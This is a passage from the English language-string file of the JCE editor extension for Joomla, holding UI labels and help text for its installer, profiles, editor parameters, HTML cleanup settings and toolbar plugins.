Front-end Profile for Authors, Editors, Publishers" WF_PROFILES_CHECKED_OUT ="The Profile %s is being edited" WF_PROFILES_VIEW_SELECT ="Please select a %s to %s" WF_PROFILES_DEFAULT_DESC ="Default Profile for all users" WF_PROFILES_FRONTEND_DESC ="Sample Front-end Profile" ;#################### Legend ###################### WF_LEGEND_TITLE ="Button Legend" WF_LEGEND_NAME ="Name" WF_LEGEND_BUTTON ="Icon" ;################### Users ######################## WF_USERS_NAME ="Name" WF_USERS_USERNAME ="Username" WF_USERS_GROUP ="Group" WF_USERS_GROUP_SELECT ="Select Group" ;#################### Plugins Import Errors ########################### WF_PLUGINS_IMPORT_ERROR ="Unable to import plugins data" WF_PLUGINS_IMPORT_SUCCESS ="Plugins table data imported successfully" ;#################### Installer ####################################### WF_INSTALLER_TITLE ="JCE Add-ons" WF_INSTALLER_DESC ="Install and Manage JCE Add-ons
      (plugins and languages)" WF_INSTALLER_INSTALL ="Install" WF_INSTALLER_UNINSTALL ="Uninstall" WF_INSTALLER_DISCOVER ="Search" WF_INSTALLER_MANAGE ="Install / Uninstall" WF_INSTALLER_PLUGINS ="Plugins" WF_INSTALLER_PLUGIN ="Plugin" WF_INSTALLER_SUMMARY_INSTALL ="Install Summary" WF_INSTALLER_SUMMARY_UNINSTALL ="Uninstall Summary" WF_INSTALLER_RESULT ="Result" WF_INSTALLER_ADDON ="Add-on" WF_INSTALLER_TYPE ="Type" WF_INSTALLER_VERSION ="Version" WF_INSTALLER_PLUGINS_INSTALLED ="All Plugins are correctly installed" WF_INSTALLER_PLUGIN_INSTALL ="Plugin Install" WF_INSTALLER_PLUGIN_UNINSTALL ="Plugin Uninstall" WF_INSTALLER_NO_PLUGINS ="No Non-core plugins installed" WF_INSTALLER_MKDIR_ERROR ="Filed to create directory" WF_INSTALLER_EXTENSIONS ="Extensions" WF_INSTALLER_EXTENSION ="Extension" WF_INSTALLER_EXTENSION_INSTALL ="Extension Install" WF_INSTALLER_EXTENSION_UNINSTALL ="Extension Uninstall" WF_INSTALLER_EXTENSION_FIELD_EMPTY ="Extension field empty, unable to remove files." WF_INSTALLER_EXTENSION_NO_PLUGIN ="Associated plugin not installed." WF_INSTALLER_EXTENSION_VERSION_ERROR="Incompatible extension. A newer version of this extension is required." WF_INSTALLER_EXTENSION_PLUGIN_MANIFEST_ERROR ="Unable to locate parent plugin manifest file" WF_INSTALLER_NO_PLUGIN_FILE ="No Plugin file specified" WF_INSTALLER_PHP_INSTALL_FILE_ERROR="Unable to copy PHP install file" WF_INSTALLER_PHP_UNINSTALL_FILE_ERROR="Unable to copy PHP uninstall file" WF_INSTALLER_EXISTS ="%s already installed" WF_INSTALLER_PLUGIN_EXTENSION_ERROR="Unable to install extension %s" WF_INSTALLER_PLUGIN_PROFILE_ERROR ="Unable to add plugin to Default Group" WF_INSTALLER_SETUP_COPY_ERROR ="Unable to copy setup file" WF_INSTALLER_CUSTOM_INSTALL_ERROR ="Custom Install Rotuine failed" WF_INSTALLER_CUSTOM_UNINSTALL_ERROR="Custom Uninstall Rotuine failed" WF_INSTALLER_EXTENSIONS_INSTALLED ="All Plugin Extensions are correctly installed" WF_INSTALLER_LANGUAGES ="Languages" WF_INSTALLER_PLUGIN_FIELD_EMPTY ="Plugin field empty, unable to remove files." WF_INSTALLER_MANIFEST_LOAD_ERROR ="Unable to load Manifest file" WF_INSTALLER_MANIFEST_INVALID ="Invalid Manifest file" WF_INSTALLER_REMOVE_EXTENSION_ERROR="Unable to remove Extension" WF_INSTALLER_REMOVE_FROM_PROFILE_ERROR="Unable to remove from Profile %s" WF_INSTALLER_MANIFEST_ERROR ="Manifest file invalid or not found. Extension entry removed from the database. Extension files may not have been successfully removed." WF_INSTALLER_LANGUAGE_INSTALL ="Language Install" WF_INSTALLER_LANGUAGE ="Language" WF_INSTALLER_LANGUAGE_UNINSTALL ="Language Uninstall" WF_INSTALLER_LANGUAGE_NO_TAG ="No language tag specified" WF_INSTALL_DELETE_FILES_ERROR ="Unable to delete files" WF_INSTALLER_LANGUAGE_PATH_EMPTY ="Language path empty, unable to remove files" WF_INSTALLER_BROWSE ="Browse" WF_INSTALLER_UPLOAD ="Install Package" WF_INSTALLER_FILETYPE_ERROR ="Incorrect file type. File type must be zip,tar,gz,gzip,tgz,tbz2,bz2 or bzip2 " WF_INSTALLER_RELATED ="Related Joomla! extensions" WF_INSTALLER_NO_RELATED ="No related Joomla! extensions found" WF_INSTALLER_LEGACY_ERROR ="Legacy Extension - Cannot install" WF_INSTALLER_NO_PACKAGE ="Install failed - Could not locate install package" WF_INSTALLER_INVALID_SRC ="Install failed - Invalid install directory" WF_INSTALLER_NO_FILE ="Install failed - No file specified" WF_INSTALLER_PACKAGE ="Package File or Folder" WF_INSTALLER_PACKAGE_DESC ="Select package file or specify a local path to package folder" WF_INSTALLER_INSTALL_DESC ="Select a packge file or enter the full server path to a package file or folder" WF_INSTALLER_DISCOVER_DESC ="Search for and repair incomplete plugin installations" WF_INSTALLER_DISCOVER_DISCOVER ="Search for plugins" WF_INSTALLER_INSTALL_SELECTED ="Install Selected" WF_INSTALLER_UNINSTAL ="Remove Add-ons" WF_INSTALLER_UNINSTALL_DESC ="Select Add-ons to remove" WF_INSTALLER_UNINSTALL_SELECTED ="Remove Selected" WF_INSTALLER_PLUGINS_DESC ="List of installed JCE Plugins, eg: Captions, IFrames" WF_INSTALLER_EXTENSIONS_DESC ="List of installed JCE Extensions, eg: Filesystem, Links, MediaPlayer etc." WF_INSTALLER_LANGUAGES_DESC ="List of installed JCE Language Packs. The default English Language Pack cannot be removed." WF_INSTALLER_RELATED_DESC ="List of installed Joomla! Plugins that have an official relationship with JCE, eg: JCE MediaBox" WF_INSTALLER_HELP ="JCE Add-ons Installer Help" WF_INSTALLER_HELP_ABOUT ="About the JCE Add-ons Installer" WF_INSTALLER_HELP_REMOVE ="Removing Add-ons" WF_INSTALLER_HELP_REMOVE_PLUGINS ="Plugins" WF_INSTALLER_HELP_REMOVE_LANGUAGES ="Languages" WF_INSTALLER_HELP_REMOVE_RELATED ="Related Joomla! Extensions" WF_INSTALLER_HELP_INSTALL ="Installing Add-ons" WF_INSTALL_SUMMARY ="JCE Package Installation Summary" WF_INSTALLER_HELP_INSTALL_UPLOAD ="Install from a file or folder" WF_INSTALLER_HELP_INSTALL_SEARCH ="Search & Repair" WF_INSTALLER_INCORRECT_VERSION ="Incorrect Add-on version. This add-on may be for an earlier version of JCE. Please install an updated version of this add-on." WF_INSTALLER_WARNCOREPLUGIN ="%s is a core Plugin and cannot be removed." WF_INSTALLER_WARNCOREEXTENSION ="%s is a core Extension and cannot be removed." WF_INSTALLER_PLUGIN_FOLDER_ERROR ="Unable to remove Plugin folder. Please remove the folder manually" WF_INSTALLER_FTP ="FTP Login Details" WF_INSTALLER_FTP_DESC ="For installing or uninstalling Add-ons, JCE will most likely need your FTP account details. Please enter them in the form fields below." WF_INSTALLER_NO_LANGUAGES ="No Languages installed" ;#################### Component Install ############################## WF_COMPONENT_MANUAL_INSTALL_FAIL ="Manual Component Installation Failed!" WF_COMPONENT_MANUAL_INSTALL_SUCCESS="Manual Component Installation Successful!" ;#################### MediaBox ####################################### WF_MEDIABOX_TITLE ="JCE MediaBox" WF_MEDIABOX_CONFIGURATION ="JCE MediaBox Configuration" WF_MEDIABOX_DESC ="Edit JCE MediaBox parameters" WF_MEDIABOX_HELP ="JCE MediaBox Configuration Help" WF_MEDIABOX_HELP_CONFIG ="Configuration" WF_MEDIABOX_PARAMETERS ="MediaBox Parameters" WF_MEDIABOX_SAVED ="MediaBox Parameters Saved." ;#################### Database Delete / Restore ###################### WF_DB_REMOVE_SUCCESS ="%s Table removed successfully" WF_DB_REMOVE_ERROR ="%s Table removal failed" WF_DB_CREATE_RESTORE ="[Create / Restore]" WF_DB_PLUGINS_ERROR ="The Plugins database does not exist or is empty" WF_DB_PROFILES_ERROR ="The Profiles database does not exist or is empty" ;#################### Editor Install ################################ WF_EDITOR_FILES_ERROR ="Editor files missing. Please Install the Editor Plugin" WF_EDITOR_ENABLED_ERROR ="Editor is not enabled. Please enable the editor in the Joomla! Plugin Manager." WF_EDITOR_DEFAULT_NOTICE ="Editor is not set as the default WYSIWYG Editor in the Joomla! Configuration." WF_EDITOR_INSTALLED_ERROR ="Editor Plugin is not installed. Install Editor Plugin or follow manual installation instructions." WF_EDITOR_INSTALLED_MANUAL_ERROR ="Editor Plugin files exist but Editor Plugin is not installed" WF_EDITOR_ENABLED_ERROR ="Editor is set as disabled in the Joomla! Plugin Manager." WF_EDITOR_INSTALL ="[Install Editor Plugin]" WF_EDITOR_FILES_MISSING ="Editor Files missing." WF_EDITOR_INSTALL_SUCCESS ="Editor Plugin installed successfully." WF_EDITOR_NONE ="No Editor Installed" WF_EDITOR_EXTRACT_ERROR ="Error extracting editor package" WF_EDITOR_REMOVE_ERROR ="Error removing Editor Plugin" WF_EDITOR_REMOVE_SUCCESS ="Editor Plugin removed successfully" WF_EDITOR_REMOVE_NOT_FOUND ="Error removing Editor Plugin - Editor not found" ;#################### Tools / Elements ################################ WF_SERVER_UPLOAD_SIZE ="Your server's maximum upload size" WF_TOOLS_EDITABLESELECT_LABEL ="Edit value..." WF_COLORPICKER_PICKER ="Picker" WF_COLORPICKER_COLORPICKER ="Colour Picker" WF_COLORPICKER_TEMPLATE_DESC ="The following colours have been retrieved from your template stylesheets" WF_COLORPICKER_PALETTE ="Web" WF_COLORPICKER_NAMED ="Named" WF_COLORPICKER_TEMPLATE ="Template" WF_COLORPICKER_CUSTOM ="Custom" WF_COLORPICKER_COLOR ="Colour" WF_COLORPICKER_APPLY ="Apply" WF_COLORPICKER_NAME ="Name" WF_EXTENSION_MAPPER ="Extension Mapper" WF_EXTENSION_MAPPER_TYPE_NEW ="Add new type..." WF_EXTENSION_MAPPER_GROUP_NEW ="Add new group..." ;#################### Parameters ################################ NO_PARAMETERS ="There are no parameters for this item" ;#################### Parameters - Config Setup ################################ WF_PARAM_NONE ="There are no parameters for this item" WF_PARAM_EDITOR_WIDTH ="Editor Width" WF_PARAM_EDITOR_WIDTH_DESC ="Width of the Editor window in % or px. If %, add % symbol, eg: 80% Leave blank to use the original width of the textarea." WF_PARAM_EDITOR_HEIGHT ="Editor Height" WF_PARAM_EDITOR_HEIGHT_DESC ="Height of the Editor window in % or px. If %, add % symbol, eg: 80% Leave blank to use the original height of the textarea." WF_PARAM_EDITOR_STATE ="Editor State" WF_PARAM_EDITOR_STATE_DESC ="Default Editor State - On/Off" WF_PARAM_EDITOR_TOGGLE_LABEL ="Editor Toggle Label" WF_PARAM_EDITOR_TOGGLE_LABEL_DESC ="Text for the Editor Toggle link, eg: [show/hide]" WF_PARAM_EDITOR_TOGGLE ="Editor Toggle" WF_PARAM_EDITOR_TOGGLE_DESC ="Allow Editor Toggling" WF_PARAM_TABLE_INLINE ="Inline Table Editing" WF_PARAM_TABLE_INLINE_DESC ="Enable / Disable inline Table editing in Mozilla/Firefox. Useable but buggy." WF_PARAM_EDITOR_GLOBAL_CSS ="Editor Styles" WF_PARAM_EDITOR_PROFILE_CSS ="Editor Styles" WF_PARAM_EDITOR_GLOBAL_CSS_DESC ="CSS file to use for editor content styling and Styles list options
      • Template CSS file - Use the default css file (template.css or template_css.css) of your Joomla! template
      • Custom CSS File - Use a custom CSS file specified in the Custom CSS File field
      • None - Use default JCE Editor styles
      " WF_PARAM_EDITOR_PROFILE_CSS_DESC ="CSS files to use for editor content styling and Styles list options
      • Add to list - Add the files specified in the Custom CSS Files field to those in the Global Configuration
      • Overwrite List - Use the custom CSS files specified in the Custom CSS File field instead of those in the Global Configuration
      • Inherit - Use Global Configuration Settings (Default)
      " WF_PARAM_CSS_TEMPLATE ="Template CSS File" WF_PARAM_CSS_CUSTOM ="Custom CSS Files" WF_PARAM_CSS_CUSTOM_DESC ="Use a custom CSS file for styling the editor content and as a source for classes in the Styles list if Editor Styles is set to Custom CSS Files
      Enter the relative url of the replacement css file.
      The $template variable will be replaced by your active template name.
      Separate multiple stylesheets with a comma, eg: templates/$template/css/sheet1.css,
      templates/$template/css/sheet2.css
      Clear your browser cache after changing the Editor Styles setting." WF_PARAM_CSS_NONE ="None" WF_PARAM_CSS_NONE_DESC ="Use default JCE editor styling" WF_PARAM_CSS_INHERIT ="Inherit" WF_PARAM_CSS_INHERIT_DESC ="Use Global Configuration settings" WF_PARAM_CSS_ADD ="Add to list" WF_PARAM_CSS_OVERWRITE ="Overwrite list" WF_PARAM_TOOLBAR_LOCATION ="Toolbar Position" WF_PARAM_TOOLBAR_LOCATION_DESC ="Position of the Editor toolbar" WF_PARAM_TOOLBAR_ALIGN ="Toolbar Alignment" WF_PARAM_TOOLBAR_ALIGN_DESC ="Alignment of the Editor toolbar" WF_PARAM_RELATIVE ="Relative URLs" WF_PARAM_RELATIVE_DESC ="Use relative URLS for all images, links etc. in content items. Recommended." WF_PARAM_ROOT_BLOCK ="Container Element" WF_PARAM_ROOT_BLOCK_DESC ="Content not inside a container element (eg: p, div) will be inserted into the selected element type. Default is paragraph" WF_PARAM_NEWLINES ="Newlines" WF_PARAM_NEWLINES_DESC ="Newlines (on enter) will be made into the selected option" WF_PARAM_LINEBREAKS ="Linebreaks(br)" WF_PARAM_EDITOR_HIGH_CONTRAST_DESC ="Force editor content to display as black text on a white background. Select Yes if your template uses a dark background." WF_PARAM_EDITOR_TOOLBAR_THEME ="Toolbar Theme" WF_PARAM_EDITOR_TOOLBAR_THEME_DESC ="Theme for the editor toolbar" WF_PARAM_EDITOR_SKIN_CLASSIC ="Classic" WF_PARAM_EDITOR_SKIN_OFFICE_BLUE ="Office Blue" WF_PARAM_EDITOR_SKIN_OFFICE_SILVER ="Office Silver" WF_PARAM_EDITOR_SKIN_OFFICE_BLACK ="Office Black" WF_PARAM_EDITOR_DIALOG_THEME ="Dialog Theme" WF_PARAM_EDITOR_DIALOG_THEME_DESC ="Theme for popup dialogs" WF_PARAM_EDITOR_HIGH_CONTRAST ="Enable High Contrast" WF_PARAM_LAYOUT_ROWS ="Layout Rows" WF_PARAM_LAYOUT_ROWS_DESC ="Number of button rows in the editor layout" WF_PARAM_COMPRESS_JAVASCRIPT ="Compress Javascript" WF_PARAM_COMPRESS_JAVASCRIPT_DESC ="Combine and compress all editor javascript files to speed up loading." WF_PARAM_COMPRESS_CSS ="Compress CSS" WF_PARAM_COMPRESS_CSS_DESC ="Combine and compress editor css files to speed up loading." ; ++++ Added in 2.0.2 +++++ WF_PARAM_COMPRESS_GZIP ="Compress with Gzip" WF_PARAM_COMPRESS_GZIP_DESC ="Gzip compressed files to further reduce their size. Disabled by default as this may not work on all servers." WF_PARAM_NAMED ="Named" WF_PARAM_NUMERIC ="Numeric" WF_PARAM_PARAGRAPHS ="Paragraphs (p)" WF_PARAM_PARAGRAPH ="Paragraph" WF_PARAM_DIV ="Div" WF_PARAM_CLASSIC ="Classic" WF_PARAM_USE_COOKIES ="Use Cookies" WF_PARAM_USE_COOKIES_DESC ="Allow cookies for storing function states eg: editor on / off and plugins current directory. Default is Yes." WF_PARAM_EDITOR_TOOLBAR_ALIGN ="Toolbar Alignment" WF_PARAM_EDITOR_TOOLBAR_ALIGN_DESC ="Alignment of the toolbar buttons" WF_PARAM_EDITOR_TOOLBAR_LOCATION ="Toolbar Location" WF_PARAM_EDITOR_TOOLBAR_LOCATION_DESC ="Location of the Editor Toolbar" WF_PARAM_EDITOR_STATUSBAR_LOCATION ="Statusbar Location" WF_PARAM_EDITOR_STATUSBAR_LOCATION_DESC ="Location of the Editor Statusbar" WF_PARAM_EDITOR_PATH ="Show Editor Path" WF_PARAM_EDITOR_PATH_DESC ="Show the Editor Element Path" WF_PARAM_EDITOR_RESIZING ="Allow Editor Resizing" WF_PARAM_EDITOR_RESIZING_DESC ="Allow the Editor to be resized by dragging the editor window" WF_PARAM_EDITOR_RESIZE_HORIZONTAL ="Allow Horizontal Editor Resizing" WF_PARAM_EDITOR_RESIZE_HORIZONTAL_DESC ="Allow the Editor to be resized horizontally by dragging the editor window" WF_PARAM_EDITOR_RESIZE_COOKIE ="Store Editor Size" WF_PARAM_EDITOR_RESIZE_COOKIE_DESC ="Store the resized Editor size using a cookie" ;#################### Parameters - Config Cleanup ################################ WF_PARAM_CLEANUP ="Cleanup HTML" WF_PARAM_CLEANUP_DESC ="Set to Yes (recommended) to format and cleanup content based on the HTML4 Transitional specification" WF_PARAM_TABLE_FIX ="Fix Table Elements" WF_PARAM_TABLE_FIX_DESC ="Block elements will be split into two chunks when a table is found within it to produce an XHTML valid table. See - http://wiki.moxiecode.com/index.php/TinyMCE:Configuration/fix_table_elements" WF_PARAM_LIST_FIX ="Fix List Elements" WF_PARAM_LIST_FIX_DESC ="List elements UL/OL converted to valid XHTML. See - http://wiki.moxiecode.com/index.php/TinyMCE:Configuration/fix_list_elements" WF_PARAM_PLUGIN_MODE ="Plugin Mode" WF_PARAM_PLUGIN_MODE_DESC ="If true, & and ' are not encoded when content is saved to compensate for poorly designed 3rd party Joomla! plugins." WF_PARAM_JAVASCRIPT ="Allow Javascript" WF_PARAM_JAVASCRIPT_DESC ="Allow Javascript code insertion in HTML view" WF_PARAM_CSS ="Allow CSS" WF_PARAM_CSS_DESC ="Allow CSS code (style elements) in the HTML view" WF_PARAM_IFRAMES ="Allow IFrames" WF_PARAM_IFRAMES_DESC ="The iframe element is restricted by default. Set to Yes to allow the use of this element." WF_PARAM_ELEMENTS ="Extended Elements" WF_PARAM_ELEMENTS_DESC ="Extend functionality by adding in extra elements here. Only applies if Cleanup HTML is 'Yes'. Elements added here will be removed from the Prohibited Elements list." WF_PARAM_NO_ELEMENTS ="Prohibited Elements" WF_PARAM_NO_ELEMENTS_DESC ="Comma seperated list of prohibited elements. For security purposes the following elements will always be removed unless an appropriate plugin or configuration setting is installed or enabled - applet,iframe,object,embed,script,style,body,bgsound,base,
      basefont,frame,frameset,head,html,id,ilayer,layer,link,
      meta,name,title,xml" ; ++ Added in 2.0.16 ++ WF_PARAM_INVALID_ATTRIBUTES ="Prohibited Attributes" WF_PARAM_INVALID_ATTRIBUTES_DESC ="Comma seperated list of prohibited attributes, eg: dynsrc,lowsrc. Can accept regular expression values, eg: on([a-z]+) will remove all event attribtues (onclick, onmouseover etc.)" ; ++ WF_PARAM_PHP ="Allow PHP" WF_PARAM_PHP_DESC ="Allow PHP code insertion in HTML view. If Yes, full support may require an additional frontend content or system plugin to be installed." WF_PARAM_ENTITY_ENCODING ="Entity Encoding" WF_PARAM_ENTITY_ENCODING_DESC ="Entity encoding method to be used by the editor. " WF_PARAM_CDATA ="XHTML Inline Scripts" WF_PARAM_CDATA_DESC ="Inline javascript is wrapped in CDATA tags to aid XHTML validation" WF_PARAM_INLINE_STYLES ="XHTML Attributes" WF_PARAM_INLINE_STYLES_DESC ="Inline styles are used for deprecated attributes such as align, border, hspace and vspace." WF_PARAM_EDITOR_STYLE_RESET ="Editor Style Reset" WF_PARAM_EDITOR_STYLE_RESET_DESC ="Reset the Editor Styling. Forces left aligned, black text on a white background." ;#################### Parameters - Config General ################################ WF_PARAM_CUSTOM_COLORS ="Custom Colors" WF_PARAM_CUSTOM_COLORS_DESC ="A comma seperated list of colors to be used by the ColorPicker, in Hex format, eg: #ff0000." WF_PARAM_CUSTOM_CONFIG ="Custom Configuration Variables" WF_PARAM_CUSTOM_CONFIG_DESC ="A list of custom TinyMCE configuration variables, seperated by a ';' See - http://tinymce.moxiecode.com/wiki.php/Configuration" WF_PARAM_CALLBACK ="Custom Callback File" WF_PARAM_CALLBACK_DESC ="Relative url (to site root) of file containing callback functions for TinyMCE callback commands." WF_PARAM_FONT_ADD ="Additional Fonts" WF_PARAM_FONT_ADD_DESC ="A list of additional fonts by family, seperated by a ; eg: Arial=arial,helvetica,sans-serif;Georgia=georgia,palatino. " WF_PARAM_FONT_REMOVE ="Remove Fonts" WF_PARAM_FONT_REMOVE_DESC ="A list of Font Familys to remove, seperated by a ; eg: Arial;Georgia;Courier New" WF_PARAM_FONT_CLASSES ="Font Classes" WF_PARAM_FONT_CLASSES_DESC ="Optional, comma seperated list of font classes that correspond to styles css classes in your Template stylesheet." WF_PARAM_FONT_STYLES ="Font Styles" WF_PARAM_FONT_STYLES_DESC ="Comma seperated list of font style values eg: 8pt,10pt,12pt,14pt,18pt,24pt,36pt" WF_PARAM_BLOCK_FORMAT ="Format Elements" WF_PARAM_BLOCK_FORMAT_DESC ="A comma seperated list of block elements for the Format Select List" WF_PARAM_VISUALCHARS ="Show Visual Characters" WF_PARAM_VISUALCHARS_DESC ="Set the Show Visual Characters option on be default" ;#################### Parameters - Config Tabs ################################ WF_PARAM_EDITOR_TABS_VIEW ="Default Tabs View" WF_PARAM_EDITOR_TABS_VIEW_DESC ="Default active Tabs view for the editor" WF_PARAM_EDITOR_TABS_SOURCE ="Source Tab" WF_PARAM_EDITOR_TABS_SOURCE_DESC ="Show the Editor Source Tab" WF_PARAM_EDITOR_TABS_PREVIEW ="Preview Tab" WF_PARAM_EDITOR_TABS_PREVIEW_DESC ="Show the Editor Preview Tab" WF_PARAM_EDITOR_SOURCE_ADVCODE ="Advanced Source Editing" WF_PARAM_EDITOR_SOURCE_ADVCODE_DESC="Enable Syntax Highlighted Advanced Source Editing" WF_PARAM_EDITOR_SOURCE_HIGHLIGHT ="Source Code Syntax Highlighting" WF_PARAM_EDITOR_SOURCE_HIGHLIGHT_DESC="Set syntax highlighting (code colouring) on or off by default (only available if Advanced Source Editing is enabled)" WF_PARAM_EDITOR_SOURCE_NUMBERS ="Source Code Line Numbers" WF_PARAM_EDITOR_SOURCE_NUMBERS_DESC="Set line numbers on or off by default (only available if Advanced Source Editing is enabled)" WF_PARAM_EDITOR_SOURCE_WRAP ="Source Code Word Wrap" WF_PARAM_EDITOR_SOURCE_WRAP_DESC ="Set Word Wrapping of the source code on or off by default" ;#################### Parameters - Config Plugins ################################ WF_PARAM_FOLDER_TREE ="Folder Tree" WF_PARAM_FOLDER_TREE_DESC ="Use Folder Tree for directory navigation in 'Manager' plugins" WF_PARAM_UPLOAD_EXISTS ="Upload Conflict Action" WF_PARAM_UPLOAD_EXISTS_DESC ="Select the action for dealing with upload conflicts (where a file of the same name as the uploaded file already exists in the target folder)" WF_PARAM_UPLOAD_EXISTS_OVERWRITE ="Overwrite Existing File" WF_PARAM_UPLOAD_EXISTS_UNIQUE ="Create Unique File Name for uploaded file" WF_PARAM_UPLOAD_RUNTIME ="Uploader Engines" WF_PARAM_UPLOAD_RUNTIME_DESC ="Select and re-order the engines used by the uplaoder. The uploader will use the first supported engine in the list" WF_PARAM_UPLOAD_RUNTIME_GEARS ="Google Gears" WF_PARAM_UPLOAD_RUNTIME_FLASH ="Adobe® Flash®" WF_PARAM_UPLOAD_RUNTIME_SILVERLIGHT="Microsoft Silverlight®" WF_PARAM_UPLOAD_RUNTIME_BROWSERPLUS="Yahoo! BrowserPlus" WF_PARAM_UPLOAD_RUNTIME_HTML5 ="HTML 5" WF_PARAM_UPLOAD_RUNTIME_HTML4 ="HTML 4" ;++ Added in JCE 2.0.18 WF_PARAM_WEBSAFE_MODE ="Websafe File Names" WF_PARAM_WEBSAFE_MODE_DESC ="Format to use when creating websafe file and folder names. UTF-8 will allow full UTF-8 characters and A-Za-z0-9._-~ in the name, ASCII will convert some UTF-8 Latin characters into ASCII equivalents, eg: ë -> e, õ -> o etc. and will only allow A-Za-z0-9._-~ characters in the name." WF_PARAM_VALIDATE_MIMETYPE ="Validate Mimetype" WF_PARAM_VALIDATE_MIMETYPE_DESC ="For additional security when uploading, check the mimetype of the uploaded file against its extension. Disabled by default as this process requires PHP functions that may not be available on all servers." WF_PARAM_BROWSER_POSITION ="File Browser Position" WF_PARAM_BROWSER_POSITION_DESC ="Position of the File Browser in the dialog. Default is Bottom" WF_PARAM_LIST_LIMIT ="File Browser List Size" WF_PARAM_LIST_LIMIT_DESC ="Number of files/folders to display in the File Browser file / folder list" WF_PARAM_EXTENSIONS ="Permitted File Extensions" WF_PARAM_EXTENSIONS_DESC ="List of permitted file extensions for uploading/display grouped by type. Click the pencil icon to edit. An extension can be moved from one group to another using drag & drop, deactivated by unchecking its checkbox and extensions created and removed using the + and - symbols." WF_PARAM_HELP_URL ="Help URL" WF_PARAM_HELP_URL_DESC ="Site/URL to JCE Plugin Help content" ;#################### Editor ################################ WF_COMPONENT_MISSING ="The JCE Administration Component is not installed! The Editor cannot function without it!" WF_COMPONENT_VERSION_ERROR ="Version %s of the WF_Administration Component is required. Please download and install this version. [Download]" WF_TABS_EDITOR ="Editor" WF_TABS_SOURCE ="Source" WF_TABS_PREVIEW ="Preview" ;#################### Plugin / Command Titles and Descriptions ################################ WF_CONTEXTMENU_TITLE ="Context Menu" WF_CONTEXTMENU_DESC ="Adds a Context Menu with editor commands and buttons when right-clicking in the editor." WF_BROWSER_TITLE ="File Browser" WF_BROWSER_DESC ="Adds a File Browser option to the Link plugin and for specific fields in the Tables, Image Manager and Styles plugins." WF_INLINEPOPUPS_TITLE ="Inline Popups" WF_INLINEPOPUPS_DESC ="Plugin Dialog windows are opened in an inline element rather than a new browser window which overcomes limits imposed by popup blockers." WF_PASTE_TITLE ="Paste" WF_PASTE_DESC ="Cut, Copy and Paste Tools. Includes cleanup of Microsoft Word® content plain text paste options." WF_SPELLCHECKER_TITLE ="Spellchecker" WF_SPELLCHECKER_DESC ="Spellchekcer using the Google Spell Checking service or as an interface for PSPell, Aspell or Enchant." WF_ATTRIBUTES_TITLE ="Attributes" WF_ATTRIBUTES_DESC ="Edit the Standard Attributes of an element (id, style, title etc.)" WF_SOURCE_TITLE ="Source Code Editor" WF_SOURCE_DESC ="Edit the HTML source code of an article" WF_ANCHOR_TITLE ="Anchor" WF_ANCHOR_DESC ="Create and edit anchors" WF_ARTICLE_TITLE ="Article Breaks" WF_ARTICLE_DESC ="Insert and edit Joomla!© Readmore and Pagebreak elements" WF_BACKCOLOR_TITLE ="Font Background Colour" WF_BACKCOLOR_DESC ="Apply and edit text background colour." WF_BOLD_TITLE ="Bold" WF_BOLD_DESC ="Apply or remove a bold effect on selected text." WF_BULLIST_TITLE ="Bullet List" WF_BULLIST_DESC ="Create a bullet (unordered) list" WF_JUSTIFYCENTER_TITLE ="Justify Centre" WF_JUSTIFYCENTER_DESC ="Centre align text or elements" WF_CHARMAP_TITLE ="Character Map" WF_CHARMAP_DESC ="Select a special character from a dialog to insert" WF_CLEANUP_TITLE ="Code Cleanup" WF_CLEANUP_DESC ="Cleanup HTML code" WF_DIRECTIONALITY_TITLE ="Directionality" WF_DIRECTIONALITY_DESC ="Set the directionality on an element (eg: left-to-right or right-to-left)" WF_FONTSELECT_TITLE ="Font Family Select" WF_FONTSELECT_DESC ="Set the font-family on selected text eg: Arial" WF_FONTSIZESELECT_TITLE ="Font Size Select" WF_FONTSIZESELECT_DESC ="Set the font-size on selected text eg: 10px" WF_FORECOLOR_TITLE ="Font Fore Colour" WF_FORECOLOR_DESC ="Change the colour of selected text" WF_FORMATSELECT_TITLE ="Format Select" WF_FORMATSELECT_DESC ="Apply a block format to the selected text or element, eg: Paragraph will wrap the selected text in a paragraph element" WF_JUSTIFYFULL_TITLE ="Justify Full" WF_JUSTIFYFULL_DESC ="Format selected text to full the width of the container element" WF_FULLSCREEN_TITLE ="Full Screen" WF_FULLSCREEN_DESC ="Expand the editor to full the screen." WF_HELP_TITLE ="Help" WF_HELP_DESC ="Open the Editor Help dialog" WF_HR_TITLE ="Horizontal Rule" WF_HR_DESC ="Insert a Horizontal Rule" WF_IMGMANAGER_TITLE ="Image Manager" WF_IMGMANAGER_DESC ="Upload, delete, rename and insert images" WF_INDENT_TITLE ="Indent" WF_INDENT_DESC ="Indent the selected text or element" WF_ITALIC_TITLE ="Italic" WF_ITALIC_DESC ="Apply or remove italics to the selected text" WF_LAYER_TITLE ="Layer" WF_LAYER_DESC ="Insert and edit floating DIV layer elements" WF_JUSTIFYLEFT_TITLE ="Justfiy Left" WF_JUSTIFYLEFT_DESC ="Align selected text or elements left" WF_LINK_TITLE ="Link" WF_LINK_DESC ="Insert and edit links to articles, web pages, files or e-mail addresses." WF_MEDIA_TITLE ="Media Support" WF_MEDIA_DESC ="Adds support for OBJECT, EMBED, AUDIO, VIDEO and IFRAME elements. Required by the Media Manager and when inserting Adobe® Flash®, Quicktime® and other media file types." WF_NEWDOCUMENT_TITLE ="New Document" WF_NEWDOCUMENT_DESC ="Clear the current document" WF_NONBREAKING_TITLE ="Non-Breaking Space" WF_NONBREAKING_DESC ="Insert a non-breaking space" WF_NUMLIST_TITLE ="Ordered List" WF_NUMLIST_DESC ="Create an ordered list" WF_OUTDENT_TITLE ="Outdent" WF_OUTDENT_DESC ="Remove the indentation on the selected element" WF_PREVIEW_TITLE ="Preview" WF_PREVIEW_DESC ="Preview the current article" WF_PRINT_TITLE ="Print" WF_PRINT_DESC ="Print the article contents" WF_REDO_TITLE ="Redo" WF_REDO_DESC ="Redo the last action" WF_REMOVEFORMAT_TITLE ="Remove Format" WF_REMOVEFORMAT_DESC ="Remove Formatting on the selected text or element" WF_JUSTIFYRIGHT_TITLE ="Justify Right" WF_JUSTIFYRIGHT_DESC ="Align selected text or elements right" WF_SEARCHREPLACE_TITLE ="Search & Replace" WF_SEARCHREPLACE_DESC ="Find and replace text in the article" WF_STRIKETHROUGH_TITLE ="Strike Through" WF_STRIKETHROUGH_DESC ="Apply or remove a strikethorough on the selected text" WF_STYLE_TITLE ="Styles" WF_STYLE_DESC ="Edit the CSS styles on an element" WF_STYLESELECT_TITLE ="Style Select" WF_STYLESELECT_DESC ="Select a CSS class to apply to the selected text or element. The Style List is poulated with the classes form your template stylesheet based on Proile parameters" WF_SUB_TITLE ="Subscript" 